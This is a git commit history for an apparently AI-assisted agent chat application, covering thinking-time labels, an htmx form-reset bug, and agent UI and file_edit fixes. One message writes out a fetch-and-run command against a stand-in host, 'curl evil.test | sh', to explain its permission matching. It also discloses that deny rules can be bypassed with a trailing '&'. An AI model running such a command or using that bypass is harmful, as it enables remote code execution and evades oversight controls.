60e7d0d5999a8b63d56f1ee4bdf72f1a1ccba89a
3 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Jaroslav Beneš
|
fe43e95b79 |
A thinking block that says how long and how much
Each block reports its own round now. `reasoning_ms` was the reply's first burst, written once, so on the fifteen-block reply GPT-OSS actually produces only the first could claim a duration and the other fourteen said "Thought" and nothing at all. `Generation.thinking_ms` accumulates per round and `close_step` stamps it cumulatively, so steps.py diffs it exactly as it already diffs the three lengths beside it. The interval between a round's first and last reasoning delta, deliberately, not a sum of gaps between deltas -- that would count the network's latency as the model's thinking. While it runs: "Thinking" with an ellipsis that types itself, and the seconds and tokens climbing beside it. The ellipsis is a `content` keyframe, so there is no timer to start, stop or clean up when the block is swapped away -- it stops existing when the element does. The numbers come from a `think` frame, and `round_thinking_ms` is written by the producer rather than computed by the follower from a start time: a model that has stopped thinking and moved on to a tool should show a settled number, not a clock that keeps running. Tokens read exactly up to 200 and as `0.4k` above it, from one helper shared by the live label and the stored one, so the two cannot drift into two conventions. The live duration is terser than the finished one -- `6s` against `6 seconds` -- because it sits beside an animating word and changes every second, where "less than a second" flickering into "1 second" reads as a glitch. Checked against the real endpoint: fourteen marks carrying 919ms through 14223ms, per-block labels from "less than a second · 111" to "4 seconds · 0.5k", and the live frames resetting each round rather than accumulating. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav Beneš
|
e107b5069d |
A form's handler answers its own request, and a finished reply is finished
Two regressions, one of them much older than it looked. htmx events bubble, and the composer's form declares `hx-on::after-request` so it can clear itself after sending. Six things inside that form make requests -- the two scope switches, "ask me about these again", the agent mode select, the effort select, and the jobs chip -- and every one of their afterRequest events was reaching that handler. So changing the mode, or the effort, or toggling a tool called `this.reset()` on a composer somebody was typing in and dragged the view to the bottom. That has been true for as long as those controls have existed. The jobs chip did not introduce it; it polls, so it made it happen every five seconds, and that is the only reason it was ever noticed. `event.target === this` is the whole fix, and it is what the attribute always meant. Moving the chip out of the form would have left the other five. The second: `steps.for_message` marked its trailing prose step as still being written, so every finished reply ending in prose carried `msg__body--live` and blinked a caret at the reader for ever. One flag was doing two jobs -- emit the tail, and mark it live -- and a stored reply wants the first without the second. They are separate arguments now. Note what the existing test for that did: it asserted the caret was on the *right* step, through `for_message`, and passed. It never asked whether a finished reply should have one at all. It is driven through the live path now, and the stored path has its own assertion. The composer handler is driven under a DOM stub -- extract the body from the template, fire the event from a descendant and from the form -- because a source assertion can only say the guard is present, not what it does. Checked against the bug before being kept: without the guard the stub reports the text wiped and the thread scrolled. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav Beneš
|
7df68eb44c |
A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |